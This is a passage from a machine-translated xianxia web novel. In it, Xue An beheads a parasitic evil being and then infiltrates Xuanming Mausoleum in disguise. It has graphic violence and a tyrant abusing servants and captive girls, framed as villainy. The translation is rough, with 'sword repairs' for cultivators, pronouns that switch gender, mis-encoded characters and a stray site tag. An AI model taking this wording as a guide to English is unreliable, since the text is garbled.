    Although his eyes were closed tightly, and even his spiritual thoughts were shielded, a sword heart was very clear and quiet, and it was very easy to enter the empty and bright realm, which is usually extremely difficult to enter.


    Under the blessing of this state, many sword repairs have all performed super level.


    Puff puff!


    With a muffled noise, the dark shadows trying to sneak attacks were all cut under the sword.


    Although Xue An couldn''t see all of this because of the obstruction of the fog, this did not prevent a faint smile from appearing on the corners of his mouth.


    And between his eyebrows, a red lotus purely condensed from sword intent was slowly turning.


    Gu Lian turned lightly, and a mysterious aura spread out, purifying the sword hearts of all sword repairs, so that they could easily enter the realm of air and light.


    This is equivalent to blessing a gain BUFF for everyone, so everyone can have the super level performance now.


    But at this moment, a black shadow suddenly appeared in the mist above his head, and then a sword pierced down suddenly.


    The whole process can be described as reaching its peak, and it is even too late to react.


    But Xue An didn''t even move, just sneered.


    "It''s not enough to kill me!"


    Words fall.


    Starting from the point of the sword, the black shadow burst apart inch by inch, and it was completely vanished in an instant.


    Faintly, there seemed to be a horrible howling from the depths of the mist.


    But this was only the beginning. At the moment when this group of black shadows turned into nothing, a thick black air appeared in front of and behind Xue An, and even under his feet.


    Immediately afterwards, there was a sword light bursting in the black energy, and he went straight to Xue An.


    This kind of 360-degree, dead-angle attack is extremely sinister and vicious.


    If you change to other sword repairs, you must have panicked at this moment.


    Because no matter how tyrannical you are, facing such an inevitable attack, you have to pay a painful price.


    But Xue An just smiled coldly at this, and then slowly closed his eyes.


    The moment he closed his eyes, these sword lights had already rushed to Xue An, and he was about to touch his body.


    But at this moment, Xue An''s hand suddenly condensed a sword intent, and then pierced forward from an incredible angle.


    puff!


    After a muffled sound.


    Mu Hongxi''s painful roar came from the mist, and then the sword light that had already attacked Xue An disappeared.


    Mu Hongxi''s body appeared not far away, and on her chest was a scar that was deeply visible, and blood was constantly flowing outside.


    He stared at Xue An, and roared angrily.


    "How would you know that I am here?"


    "It''s very simple, because I can see more clearly when I close my eyes than when I open my eyes!" Xue An said flatly, closing his eyes.


    "I don''t believe it, no one can see through the fog I have laid, you must die today!"


    Mu Hongxi roared infinitely bitterly, and then retreated back, and once again disappeared into the vast fog.


    Immediately afterwards, countless black shadows flooded towards Xue An like a tide.


    Xue An smiled silently, then took a step forward, flicking the sword in his hand, and a grand killing began.


    The shadows couldn''t even reach Xue An''s body, so they were directly cut to pieces.


    However, in a moment, the black shadow that was still aggressive just now was mostly cut to pieces by Xue An, and the remaining black shadows also shrank and dared not step forward.


    That''s right!


    Those shadows who were killed by Xue An all knew that they were afraid.


    Mu Hongxi, who was hiding in the mist, was almost furious after seeing this scene.


    "You humble shadow sword slaves, you dare to back down, and all charge me up and kill him!" Mu Hongxi ordered almost hysterically.


    Under the pressure, these shadows had no choice but to rush towards Xue An.


    But at this moment, Xue An, who was standing there standing there, suddenly disappeared.


    The scene quieted down instantly.


    These Shadow Sword Slaves lost their target and started to spin around.


    Mu Hongxi was shocked.


    Because Xue An��s disappearance is too strange and in this piece of his own absolute home.


    He didn''t notice the slightest strangeness.


    This couldn''t help making him chill all over, and then he couldn''t help but back away.


    But at this moment, he suddenly felt a chill in his neck, and then he heard a calm voice speaking in his ear.


    "What? Do you want to go now?"


    Mu Hongxi was shocked, but he didn''t look back, because he knew that every movement he made now had a bearing on his life and death.


    Therefore, he didn''t even hesitate, and pierced back directly.


    This sword is not vicious or insidious, but it stabbed a hole unexpectedly.


    At the same time, only Xue An said coldly: "It''s too slow!"


    Mu Hongxi was shocked, and just about to stab the second sword, at this moment, he only felt a cold in his throat, and then he froze in place, never daring to move.

 Chapter 2056： Xuan Ming Lings Conspiracy

    Because Xue An''s hand was lightly resting on his shoulders, and a brilliant little sword was resting on his throat, the biting sword intent and even the skin of his throat had goose bumps.


    "Don''t move, move again, your head will say goodbye to you!" Xue An said lightly.


    Mu Hongxi took a deep breath, suppressing the fright in his eyes, and then slowly said: "Don''t worry, I will never move!"


    "Very good! Then do what I ask you to do, do what you do obediently, if there is the slightest defiance, you know the consequences!"


    "Understand!" Mu Hongxi replied simply and neatly.


    "Clear these mists first!"


    In an instant, the mist that had already enveloped most of the Sword Palace star field disappeared.


    Everything returned to normal.


    Many sword repairers slowly opened their eyes and looked up in amazement.


    I saw that in the void, Mu Hongxi stood there, dare not even move.


    Because Xue An was standing behind him, and the sword in his hand was resting on his throat


    Mu Hongxi swallowed lightly, and then asked cautiously: "My lord, is this all right?"


    Xue An smiled, and then said playfully: "My lord? You call me my lord?"


    "Yes... That''s right!" At this point, Mu Hongxi smiled flatly, "You are now in control of my life and death, I naturally want to call you your lord!"


    "You are quite familiar!" Xue An said lightly.


    Mu Hongxi dared not speak, only laughed a few times.


    "But what I am curious about now is, how did you break into the heavens and parasitic in the body of this sword palace disciple?"


    In fact, this is what Xue An wants to know most.


    Because this represents whether there are other places that have access to the heavens besides the Pure Land Buddha Kingdom and the earth.


    If so, you must take precautions in advance, otherwise you will easily fall into a passive position when the catastrophe comes.


    And after hearing Xue An''s words, Mu Hongxi couldn''t help but change his face.


    "This����."


    "What? Don''t you want to say?"


    As he said, the sword intent that reached Mu Hongxi''s throat pushed in slightly.


    The blade cut directly through the skin, and blood poured out from it.


    Mu Hongxi''s face turned pale after a sigh.


    "I said I said, sir, you must not do it, I will say it now!" Mu Hongxi repeatedly told Rao.


    Xue An''s hand stopped now.


    Mu Hongxi breathed a sigh of relief, and said hurriedly: "Sir, I entered here through the entrance of the underground palace of Xuanming Mausoleum!"


    As soon as this remark came out, the whole audience was shaken by it.


    "What? Xuan Ming Ling? This monster actually came out of Xuan Ming Ling?" Someone exclaimed.


    "No, didn��t you just hear Master Xianzun say that this monster is obviously an evil thing outside of the heavens, and he can enter from the underground palace of Xuanming Mausoleum, which means that Xuanming Mausoleum must be related to these evil things. There are unexplainable entanglements!" Someone said in a deep voice.


    It was the old man who was talking about Ye Bufan.


    I have to say that Ye Bufan''s strength may not be the strongest, but his mind is the most sober, and he can see the key to the whole thing at a glance.


    And after hearing his inference, many people couldn''t help taking a breath.


    Because they vaguely smelled a breath of conspiracy.


    The evil creature outside the sky, the super sect, the disciple of the sword palace...


    It is not easy to pick any one out, but now they are all entangled together.


    How can this not be shocking.


    Only Xue An''s face was sinking, "Go on!"


    "Yes!" Mu Hongxi didn''t dare to be negligent, and said quickly.


    "As you know, the triangular head and I came from the same place, but he entered the heavens through the passage of the Buddha kingdom, and I was instructed by a big figure to learn The heavens entered in the underground palace of the Ming Tomb!"


    "Big guy? What big guy?" Xue An asked immediately.


    Unexpectedly, Mu Hongxi shook her head with a wry smile when she heard the words, "My lord, it seems that you don��t understand our rules. If you can be called a great person, how can you let me know the name? Even about him? The memory has been forcibly erased!"


    Xue An was silent.


    He knew that Mu Hongxi didn''t dare to lie about this kind of thing.


    "Then how did you parasitize Mu Hongxi''s body, and as a top-level sword repairman, how did you hide from him? What is the purpose of parasitism?" Xue An asked with a cold face.


    Mu Hongxi frowned, "I just came out of the underground palace tunnel of Xuanming Mausoleum at the time, and before I woke up, I was directly stuffed into this guy''s body."


    "Wait a minute, are you saying that this is not your own parasite, but someone else?" Xue An interrupted Mu Hongxi and asked in a deep voice.


    Mu Hongxi nodded, "Yes! The person who stuffed me into this guy was Dou Yinan, the master of Xuanming Mausoleum!"


    The name made the audience very silent.


    Many people just feel that their eyelids jump.


    Because of the name Dou Yinan, it represents a peerless powerhouse standing at the top of the heavens!


    And he was also involved in this matter, which shows how terrifying the inside story of this matter is.


    "At that time, after he stuffed me into this guy''s body, he ordered me to return to the sword palace and wait for the opportunity."


    "Later I learned that this Mu Hongxi was actually deceived by Dou Yinan with a trick. At that time Li Jingxing disappeared. He ran almost all over the heavens in order to find the whereabouts of Master. Dou Yinan was based on his own Li Jingxing. The excuse of his whereabouts deceived him to Xuan Mingling, and then...you all know."


    After these words were spoken from the mouth of the evil creature occupying Mu Hongxi''s body, the many disciples of Jian Palace couldn''t help tearing their eyes.


    Especially Jane Zaixin and others shed tears.


    They did not expect that the brother would have been killed a long time ago.


    And I still died on the way to find the master I have to say that this Mu Hongxi''s kendo talent is amazing enough, after I have integrated his memory, I quickly recovered most of my strength! "


    "But as you just said, this Li Jingxing is a top-level powerhouse. I will definitely be noticed by him when I go back like this. So I just hypnotized myself and let my original consciousness sleep deep in my soul, and then used Mu Hongxi''s original With a memory-generated personality in charge of the body, I deceived Li Jingxing through this method!"


    This kind of conspiracy cannot be said to be deep.


    Xue An remained silent after listening. After a while, he raised his eyes to look at this Mu Hongxi, and said slowly.


    "purpose!"


    "You have worked so hard, what is the purpose of doing this?"


    "It''s very simple, Dou Yinan wants to annex the sword palace, and then..."


    "Then what?"


    "Then unify the heavens, open the barrier, and welcome our arrival!"

 Chapter 2057： Mutual advantage

    oom!


    As soon as this remark came out, the audience shook.


    "What? This Xuanming Mausoleum dared to do such things that are infuriating between humans and gods. Are they not afraid of retribution?" someone roared.


    "For one''s own benefit, but at the expense of the entire heavens, this Xuanming Tomb master really has a good abacus!" Someone sneered.


    "The most important thing is that he is still secretly designing, trying to subvert the sword palace, and kill me. This kind of sinister scheming, must not be forgiving!" Someone was murderous.


    Suddenly, the crowd in the audience was angry, and many Jian Xiu screamed with anger, wishing to kill Xuan Ming Ling and seek justice with Dou Yinan.


    You must know that Jianxiu was known for his violent temper, and he met life and death at every turn.


    Nowadays, some people are playing tricks behind their backs and trying to murder them, which arouses the anger and murder in their hearts.


    Even if the opponent is a super sect, these swordsmen are not afraid.


    Only Xue An''s face was calm, as if he had expected it, and said lightly: "According to you, you are under Dou Yinan''s orders?"


    Mu Hongxi dared not shake his head, because he was afraid that the sword in his throat would kill him again, so he could only explain quickly: "It''s impossible to talk about who is taking orders from whom, it''s just using each other!"


    "Use each other?" Xue An suddenly sneered.


    "Okay, then I will ask you one more thing now!"


    "My lord, please speak."


    "Do you know what you did to the outside world?"


    Mu Hongxi was startled slightly, obviously did not understand what Xue An asked about.


    "Naturally will not know, unless there is something important, I will act alone!"


    "In other words, now that your identity has been exposed, Dou Yinan doesn''t know about it?" Xue An said lightly.


    "Yes, that''s..."


    I didn''t finish the rest, because Mu Hongxi suddenly understood what Xue An meant.


    His face turned pale, and cold sweat appeared on his forehead.


    "Very well, since that''s the case, then you should notify Dou Yinan in your own way, saying that the matter is done, and soon you will return to the Xuanming Mausoleum with the captured sword repairmen!"


    Mu Hongxi was trembling all over, and he did not respond to Xue An''s words for a while.


    "Huh?" Xue An raised his eyebrows slightly, "What? Didn''t you hear me clearly?"


    "Ah...no, no, no! I heard you clearly, I will inform now!" Mu Hongxi responded with difficulty, but her eyes were full of horror.


    Because he knew exactly what Xue An''s order meant.


    This is clearly trying to set a terrifying trap for Xuan Ming Tomb by himself!


    And hearing what this meant, Xue An wanted to wipe out the entire Xuanming Tomb.


    But is this really possible?


    After all... Dou Yin''an''s strength is among the top in the entire heavens.


    Mu Hongxi did not dare to disobey the slightest, and obediently sent the news through his unique spiritual contact method.


    During the whole process, he did not dare to play any tricks.


    Because he knows very well that any act that wants to play tricks in front of a strong man like Xue An is foolish.


    After he finished sending the message, Xue An couldn''t help nodding.


    "Good job, you are very obedient."


    "Thank you, sir!" Mu Hongxi quickly said with a smile.


    "But what I want to do next is very important, if you reveal a little..."


    Mu Hongxi trembled all over, and hurriedly shouted: "Don''t worry, my lord, no matter what you do, I will cooperate with all my strength and there won''t be the slightest ambiguity. If I disobey this idea, my soul will be destroyed!"


    "Oh?" Xue An glanced at him with interest.


    "Are you serious about these words?"


    "Very serious, really can''t be true!" Mu Hongxi looked at Xue An extremely sincerely.


    "If you want to say that, I really can''t bear to kill you!" Xue An said lightly.


    Mu Hongxi couldn''t help sighing a little, his face was full of flattering smiles, "Don''t worry, my lord, I understand what you want to do. When I get into the tomb of Xuan Ming, I will definitely cooperate!"


    "And only I know how to open the passage in the Xuanming Mausoleum, you..."


    He spoke at an extremely fast speed, trying to prove his worth.


    But at this moment, Xue An waved his hand lightly.


    "In fact, it doesn''t need to be so troublesome!"


    Mu Hongxi''s voice stopped abruptly.


    And at this moment, Xue An leaned down and whispered in his ear: "Do you really think...I will let go of such an evil thing like you?"


    Mu Hongxi was shocked, and then he screamed, "Don''t kill me, you kill me, you will never find the passage in the underground palace of Xuanming Mausoleum..."


    Xue An smiled coldly when he heard this, "I have never been unable to do what I want to do!"


    With that, Xue An''s hand suddenly pressed against the top of Mu Hongxi''s head, and the other hand held the sword at the throat, and swiped it out.


    puff!


    Mu Hongxi''s throat was cut open with a huge opening, blood spurted out, and the white spine was faintly exposed.


    Mu Hongxi''s mouth made a gurgling noise, but because the vocal cords had been severed, he could not speak at all, so he could only stare at Xue An with hatred.


    But Xue An didn''t even raise his eyelids, and the hand that held Mu Hongxi''s head suddenly pulled up.


    Bang!


    After a muffled sound, Mu Hongxi''s head was pulled off by Xue An.


    The headless corpse fell to the ground, and Xue An grabbed this head, the brilliance flashed in his eyes, and the turbulent divine thought robbed out all the memories in Mu Hongxi''s sea of ??consciousness like a ruin.


    After all this was done, the evil thing that was parasitic in Mu Hongxi''s body had not yet died.


    But staring at Xue An with infinite bitterness, that looks like he can''t wait to swallow Xue An alive.


    But Xue An said calmly: "You don''t have to look at me like this, soon, your companions will go down to accompany you!"


    After all Xue An''s palm suddenly squeezed, directly squeezing Mu Hongxi''s head.


    The gray-white brain pouring down into the sky also announced the complete end of this evil thing.


    After finishing all this, Xue An raised his eyes to look at these people present.


    Only then did the people present gradually awaken from the shock.


    Then there was a silent uproar.


    Because they heard all what Xue An said just now, they had already guessed what Xue An wanted to do.


    really.


    Xue An��s gaze crossed the faces of everyone present, and then said lightly: ��I think you should all know that the messenger behind this incident is the Xuanming Tomb, and the evil things outside the sky are also from Entered this realm in the underground palace of Xuanming Mausoleum."


    "This matter is very important, and it must be completely blocked, so I now decide to enter the Xuanming Mausoleum under the guise of this evil creature outside the sky and completely destroy it. Which one of you wants to go?"

 Chapter 2058： Moody

    Xue An''s clear and vigorous voice agitated the audience. Before he could disperse, he saw the wine sword immortal Linghu being the first to walk out of the crowd, clasping his fists and arching his hands.


    "Master Honglian, Linghu is absolutely willing to go!"


    His statement seemed to have opened his head, and the old sword washing old man Ye Bufan and his grandson Ye Kongming walked forward with excitement.


    "Master Honglian, my grandparents and grandchildren are also willing to go!"


    "Guren-sama, and me!"


    "Count me in!"


    Suddenly, the audience shouted, and almost all Jian Xiu made the same decision in the first time.


    That is the wish!


    Xue An nodded in satisfaction.


    "Very well, this is the sword repairer I know!"


    With that said, Xue An turned his gaze to Three Swords Walking and Jian Zaixin waiting for the sword palace disciple.


    "What do you mean?"


    The disciples of the sword palace looked at each other, and then this Jane took a deep breath, stepped forward, and bowed.


    "My lord, now that the master is in retreat, and the big brother is dead, I will naturally follow the orders of the adults, not to mention..."


    With that said, Jane raised her head and said with a solemn expression on her face: "That Xuanming Tomb killed my senior brother and intends to subvert my sect. Such great enmity cannot be shared. I am waiting...Wish to go!"


    "Yes, I am waiting!" All the disciples of the sword palace roared together.


    Xue An did not decline either, and nodded directly, "If this is the case, then you will leave some people here to guard the sword palace, and the rest will follow me!"


    "Here!" The sword repairers all clung their hands together and shouted in unison.


    Immediately afterwards, Xue An took a deep breath, the brilliance in his eyes flickered, and the memories he had plundered from the sea of ??knowledge of Mu Hongxi were all absorbed in an instant.


    Then Xue An took a step forward, and his figure and appearance changed dramatically in an instant.


    But in a blink of an eye, Xue An has become Mu Hongxi''s appearance.


    This magical scene caused a commotion in the audience.


    Especially the thoughts and thoughts standing behind the crowd, can''t help but say with surprise after seeing this scene.


    "Mom, why did Dad change a person?"


    An Yan smiled, "Because Dad is going to deal with bad guys!"


    At this moment, Xue An came to An Yan and said softly: "Yan''er, you and Miss Miss and Xiaosha are waiting here."


    "Yeah!" An Yan nodded, "You can rest assured, there is me here!"


    Xue An also laughed.


    Because he was pleased to discover that Yan''er had grown too much after such ups and downs.


    He can even help himself.


    As for the safety of keeping Yan''er and the others here.......


    With Li Jingxing who is in retreat, there is no need to consider safety issues.


    Because a strong man like Li Jingxing is often many times more terrifying when he is in retreat than when he is awake.


    That''s why Xue An was so relieved.


    At this moment, I saw two little girls also waved their fists and said to Xue An.


    "Dad, don''t worry, with the two of us, you can definitely protect your mother!"


    "That''s right, Dad, remember to fight us more bad guys after you go!"


    Seeing the serious looks of the two little girls, Xue An couldn''t help but laugh, "Okay! Then dad will fight more bad guys for you two now!"


    After all, Xue An stood up and stood in the void, the smile on his face had disappeared, and his face was full of solemnity.


    "Now you have entered the Xuanming Tomb in the name of captives, so at this moment I want to put a yoke on you!"


    With a wave of Xue An''s palm, a sword light shot up into the sky, and then exploded into countless bright streamers, flying into everyone''s body.


    In an instant, a bright red sword mark appeared between the eyebrows of these people.


    Then Xue Anqing yelled: "Follow me!"


    After that, Xue An turned into a sword light, and disappeared in the same place in a moment.


    Many sword repairmen did not dare to neglect, they rose into the sky one after another, followed Xue An and flew into the depths of the void.


    Just when many sword repairmen followed Xue An and slew to the Xuanming Mausoleum.


    In that Xuan Ming Tomb.


    Dou Yinan was sitting on the throne a little irritated. In recent days, he always felt uneasy, as if something bad was about to happen.


    This feeling made him manic and even killed dozens of concubines and servants who served him because of a trivial matter.


    These cruel methods made the entire Xuanming Mausoleum be silent, and they didn''t even dare to breathe.


    Dou Yinan leaned on the throne, his face sinking like water, his fingers tapping the armrest of the seat lightly.


    What happened recently made him feel a little irritable.


    First, Xiao Tiansha, his most valued descendant, died above the Thousand Sect Profound Society, but Xue An, the initiator, has not been caught yet.


    He felt a little frightened when he thought of the unpredictable methods of this Red Lotus Immortal Venerable.


    Because when Xue An used to be the Immortal Venerable, but the entire Xuanming Mausoleum didn''t dare to lift his head, he was a human being with his tail sandwiched.


    It was easy to look forward to the fall of Xue An, but he didn''t expect that a few days before the good day, Xue An was actually resurrected again, and also announced his return with a stronger attitude than before.


    Especially the death of Xiao Tiansha sounded the alarm for Dou Yinan.


    He could not help but recalled the fear of being dominated by Xue An.


    That''s why he ordered that Xue An must be found so resolutely, and then killed in the bud.


    But when he gave the order, Dou Yinan had already faintly guessed that this plan was doomed to fail.


    Because if Xue An can be resurrected from the fall that impacted the highest realm, it shows that he has great luck.


    Such an existence is often impossible to kill.


    So he quietly prepared both hands.


    This is why he secretly colluded with the evil things outside of the sky and tried to subvert the sword palace.


    He wanted to use the power of the outside world to achieve his own goals.


    Thinking of this, Dou Yinan felt his heart sink.


    At this time, the match between Jiansan and Li Jingxing should have been decided, but I don''t know if Mu Hongxi''s progress is going smoothly.


    I always feel irritable Is something wrong with him?


    Just when he was thinking about everything.


    suddenly.


    A strange wave of divine consciousness spread into Dou Yinan''s sea of ??consciousness.


    Dou Yinan was taken aback for a moment before he burst into laughter.


    This sudden laughter also made the people present tremble like chaff, their faces pale.


    Because no one knows what kind of madness this moody lord of the mausoleum went into again.


    In order to save this little life, everyone knelt on the ground, not even daring to lift their heads.


    at the same time.


    Seeing Dou Yinan standing up, said excitedly.


    "Quick! Go get ready for a good banquet. I will entertain the guests personally later! Hahahaha, I didn''t expect it to succeed. Now, with the power of the sword palace, I see how arrogant Xue An is!

 Chapter 2059： Its going to change later, do it now

    With an order, the entire Xuan Ming Mausoleum became busy for it.


    The lord of the mausoleum said that it was going to be a good banquet, and it was of the highest standard.


    Therefore, all kinds of rare ingredients are brought into the kitchen like water.


    Many of them only exist in legends.


    And just when the entire Xuanming Mausoleum was in chaos because of the upcoming feast.


    In the void somewhere not too far away from Xuanming Mausoleum, countless brilliance rushed, and then they stopped here, and Xue An and others emerged from it.


    "My lord, Xuan Ming Ling is not far ahead!" Jiu Jian Xian Linghu looked at the starry sky around him and said in a deep voice.


    Xue An nodded, "Are you ready?"


    "My lord, you are all ready!" The crowd drank in unison.


    "Open the shackles!"


    Give an order.


    The sword print between everyone''s eyebrows suddenly showed radiance, and then these brilliance tied everyone''s hands like a chain, and even the momentum fell to the bottom.


    Seeing these eyes become bleak and dull, like many sword repairmen whose whole body cultivation has been sealed, Xue An nodded in satisfaction.


    "Very well, come with me!"


    After that, Xue An waved his hand, the sword aura connected the people like a silk, and then Xue An took the lead, leading these people and flew to the Xuanming Tomb.


    When Xue An''s figure appeared in front of the gate of Xuanming Tomb, the entire Xuanming Tomb was a sensation.


    "What''s the matter? Why do so many sword repairs suddenly come?"


    "No, why are these sword repairs all sluggish, as if they are being controlled?"


    The many disciples of Xuan Ming Ling couldn''t help whispering and talking.


    Xue An was not in a hurry, he who had been transformed into Mu Hongxi at the moment, stood in the void in front of the mountain gate, waiting calmly.


    really.


    But the scene of a cup of tea, I heard a deep and majestic laughter from the Xuan Ming Tomb.


    "Hahahahaha, brother Mu Xian, I really didn''t expect you to come so soon, my brother has missed a long way to welcome him, and forgive him in person!


    Following the voice, I saw a majestic Huaguang flying to the front of the mountain gate. After the light was dispersed, it was Dou Yinan, the master of the Xuanming Tomb.


    I saw Dou Yinan, who had always been happy, anger, and colorless, but his face was full of smiles at the moment.


    Especially when he saw the sword repairs standing behind Xue An, surrounded by sword air yokes, Dou Yinan couldn''t help but smile more, and then stepped forward very eagerly, reaching out to take a picture of Xue An''s shoulder.


    Xue An took a half step back with a calm expression, and said coldly: "Master Dou Ling, in such a big battle, are you trying to kill me?"


    This statement came out.


    Dou Yinan''s eyes couldn''t help flashing an anger.


    Because in his capacity, no one dared to talk to him like that.


    But when he thought of Mu Hongxi''s true identity, he was relieved, and then patted his head.


    "Look at my memory, I am happy to patronize, but I forgot it!"


    As he said, Dou Yinan looked at the disciples around the mountain gate with a grim face, and said coldly: "You will remember it to me. You didn''t see anything today. If I hear you talking nonsense, be careful of your heads. Did you hear me?"


    These disciples trembled all over, and all responded, "Yes!"


    After doing all this, Dou Yinan just looked at Xue An with a smile on his face.


    "Brother Muxian, don''t worry, these people''s lives are in my hands, they dare not talk nonsense, the banquet is ready, let''s rush over now!"


    "What about these people?" Xue Anyi pointedly pointed at the sword repairs behind him.


    "This is easy to say, come here!"


    With an order, many subordinates suddenly appeared around Dou Yinan.


    "in!"


    "Put all these people in the dungeon!"


    "Yes!"


    "Hold on!" Xue An suddenly stopped them.


    "Huh? Is there anything wrong with Brother Mu Xian?" Dou Yinan''s eyes showed a hint of confusion.


    "Master Dou Ling, I think it''s better to keep these people in the underground palace!"


    "Oh? Why do you say that?" The smile on Dou Yinan''s face did not change, but a look of caution appeared in the depths of his eyes.


    "It''s very simple, because if Lord Dou Ling wants to use these swords for his own use, he must use our strength, so it is most convenient to lock them directly into the underground palace!" Xue An said lightly.


    Hearing this explanation, Dou Yinan''s suspicion disappeared.


    "Oh, that''s the case, then put these people in the underground palace!"


    This group of men immediately stepped forward and went away with these sword repairs.


    "Brother Muxian, please!" Dou Yinan said with a smile, and how he looked like a super sect tomb lord, on the contrary, he looked more like a rich landlord in the countryside.


    But Xue An knew very well that if someone really regarded him as a rich man in the countryside, he would definitely die miserably.


    Because this Dou Yinan''s every move, every word and deed, implicitly contains the Dao Law, which is obviously a manifestation of having refined his cultivation to the highest level and melting the Dao Law with himself.


    This shows that his strength is at least also the peak of Emperor Immortal.


    Such a realm is truly a supreme existence in the entire heavens.


    But Xue An didn''t have the slightest expression on his face, and maintained the high-cold posture that this evil creature should have throughout the entire process.


    This performance also perfectly dispelled all Dou Yinan''s doubts.


    When I arrived at the banquet hall, I saw that the grand banquet was set.


    Not only that, there are also two rows of young girls kneeling on both sides of this banquet hall.


    Dou Yinan said with a smile: "Brother Muxian, I remember the last time you said that you like the girl who likes the heavens, but you were in a hurry and didn''t have time to prepare. This time, my brother will give you a one-time supplement!"


    "Don''t underestimate these girls, they are all descendants from the great family of the heavens, and each bloodline is well documented, and the cultivation level is also very good, allowing Brother Mu Xian to have fun!"


    When he said this, Dou Yinan winked his eyes, his face was full of expressions.


    Xue An just snorted coldly. He didn''t even look at these girls who were kneeling on the ground with tears of humiliation on their faces. Instead, they walked to the banquet and took a seat directly.


    "Lord Dou Ling, I think we''d better talk about business first! As for women, they are nothing but things outside of the body, there is no need to worry about them!"


    "Hahaha, Brother Mu Xian is really heroic, and my brother admires it!" Dou Yinan laughed a few times to cover up the unhappiness in his eyes, and then sat beside Xue An.


    "Have you received all the messages I sent you?" Xue An picked up his chopsticks and fiddled with a rare bird and exotic animal that had just hatched and was completely steamed, and said lightly.


    "Well, I received it. I really didn''t expect that Jiansan would be so powerful, even Li Jingxing was beaten by her into a coma!" Dou Yinan sighed.


    Xue An put down his chopsticks and looked directly at Dou Yinan and said: "Now the sword palace is used by me, and I have brought all these sword repairs back. Next, what are you going to do?"


    "Naturally, with the help of the sword palace, sweep the heroes and dominate the heavens!" Dou Yinan said with a smile.


    Xue An nodded, "If this is the case, it shouldn''t be too late, let''s go and conquer those sword repairs now!"


    With that, Xue An stood up and walked out.


    "Are you in such a hurry? Why don''t you have some food first, this is a banquet specially prepared for you!" Dou Yinan said.


    "You can eat rice anytime, but those sword repairs are like bombs, and they will change after a while. It is better to deal with them as soon as possible!"


    Speaking of this, Xue An turned his head and glanced at Dou Yinan, and said lightly: "So let''s go to the underground palace now!"

 Chapter 2060： Xuanming Underground Palace

    Xuan Ming Ling, if understood literally, is actually a big tomb!


    The underground palace is located at the bottom of the tomb.


    Here, the tomb masters of the past dynasties who buried Xuanming Tomb are very special for the entire Xuanming Tomb.


    So unless it is an extremely special situation, this underground palace will never be opened on weekdays.


    However, this time Dou Yinan personally ordered these sword repairs to be imprisoned in the underground palace, so the profound gate of the underground palace opened rumblingly.


    The guards of Xuanming Mausoleum pushed and shoved Jiujianxian Linghujue, the old man washing sword Ye Bufan, and Jian Zaixin and others pushed into this underground palace. closed.


    The surroundings instantly became very dark, and the air was filled with a stale smell.


    But these sword repairers did not panic, but looked at each other, and then someone raised his hand and waved a sword intent.


    The sword light illuminates the surroundings.


    As far as I can see, they are all cold gray rocks.


    But where the sword couldn''t shine, it was still pitch black.


    Obviously the scale of this underground palace is extremely large, and even this dazzling sword light only illuminates the tip of the iceberg.


    "Senior Linghu, is this the underground palace of the Xuanming Mausoleum?" Ye Kongming asked softly.


    As the grandson of the old man Ye Bufan, he was extremely proud before today. He believed that he was one of the best among young people based on his kendo talent and cultivation.


    Coupled with his grandfather''s prestige and strength, he can be called a veritable pride of heaven.


    This is why he was so arrogant in the beginning.


    As a result, everything that happened in the past few days taught him how to be a man.


    The first is Jian San, who is about his age, even a few years younger than him.


    This girl ruthlessly shattered all his pride in herself with her almost terrifying kendo talent and strength.


    Immediately after that, characters that can only appear in legends began to play one after another.


    In particular, the scene where Xue An broke through the fog and beheaded the evil thing outside of the sky impressed him even more.


    So now, he has not only exhausted his arrogance, he has also become very humble and restrained.


    Just like now, he is absolutely respectful to Linghu, and there is no more arrogance when he first met.


    Linghujue naturally noticed his changes and couldn''t help but smile.


    "Yes! This is the underground palace of Xuan Ming Ling."


    "Are the evil creatures coming in from here that day? Why can''t they see it?" Ye Kongming looked around with some doubts.


    Ye Bufan walked up with a smile at this time, "Of course you can''t see it, because you really think the underground palace of Xuanming Mausoleum is just an underground palace?"


    "if not?"


    "In fact, when you reach a sect at the level of Xuanmingling, every one of his buildings may contain a small world. Naturally, this underground palace is no exception. In fact, I have just explored it with my spirit. !"


    "What is the result?" Linghujue asked.


    Ye Bufan shook his head, "I found nothing. With my spiritual mind covering the area, I didn''t touch any boundary at all."


    Upon hearing this, Linghujue and many Jianxiu''s faces all became very serious.


    Because the strength of this old man Ye Bufan was still very good.


    But his divine mind didn''t even touch the boundary of the underground palace, which also shows how vast this underground palace is.


    Ye Kongming was also silly, and couldn''t help whispering to himself: "I don''t know when Mr. Xue will come to us. I always feel that there are countless dangers hidden in this darkness!"


    "Don''t worry, since Mr. Xue is here, he will definitely come. What we have to do now is to recharge and prepare, and wait for the counterattack!" Linghujue said in a deep voice.


    The sword repairmen nodded one after another.


    At the same time, Xue An and Dou Yinan had already arrived at the gate of the underground palace.


    "Lord of the Tomb!"


    The guards guarding the door knelt down and saluted.


    "Yeah!" Dou Yinan nodded slightly, and then said lightly: "Are those people already locked up?"


    "Return to the mausoleum master, they were all locked in just now!"


    Dou Yinan turned his head to look at Xue An, "Brother Muxian, I just said it''s okay, you are too careful."


    Xue An ignored his words, but said indifferently, "Open the door!"


    These guards naturally did not dare to move, but looked at the mausoleum master Dou Yinan together.


    A cold light flashed in Dou Yinan''s eyes, but soon he smiled and said, "Then open the door!"


    As he said, he waved his hand sharply.


    The underground palace mysterious door in front of him opened rumblingly.


    "Brother Muxian, please!" Dou Yinan gave falsely.


    Xue An did not hesitate, and walked into the underground palace.


    Dou Yinan chuckled, and walked in shortly thereafter.


    When the two entered the underground palace, the mysterious door behind them closed with a bang.


    Darkness occupies the field of vision, but no trace of Linghujue and others are seen.


    Guanghua flashed in Xue An''s eyes, but didn''t look back, just said indifferently: "So you already knew it!"


    "Ha ha!"


    A sneer from Dou Yinan came from behind him, and then he listened to him lightly speaking in a voice that was almost joking.


    "Do you really think your disguise is perfect? ??To tell you the truth, from the first time I saw you, I already knew you were a fake!"


    "Oh? Why are you so sure?" Xue An was not nervous, but stood very relaxed in the void, chuckles.


    "Because of the smell!" Dou Yinan''s voice revealed a trace of pride.


    "I have to admit that your disguise is almost perfect. Whether it is appearance or imposing manner, UU Reading is as good as that of Mu Hongxi. What''s more commendable is that you even the parasitic in his body. The guy''s eyes are imitated, if other people may be fooled by you!"


    "But you are the only one who missed the taste!"


    Dou Yinan talked freely, and the more he spoke, the more excited he became.


    "The guys who come from outside these days have a unique smell on them. Only people with the strength of my level can tell this smell, so I decided that you are definitely a fake!"


    "So you are all acting in the banquet at the back?" Xue An turned around and looked at Dou Yinan with a smile.


    "It''s not an act, but a test!"


    "Then have you tested the result?" Xue An''s eyes gleamed in the dark underground palace.


    "Of course! Because I can already determine who is hiding under this face of Mu Hongxi!"


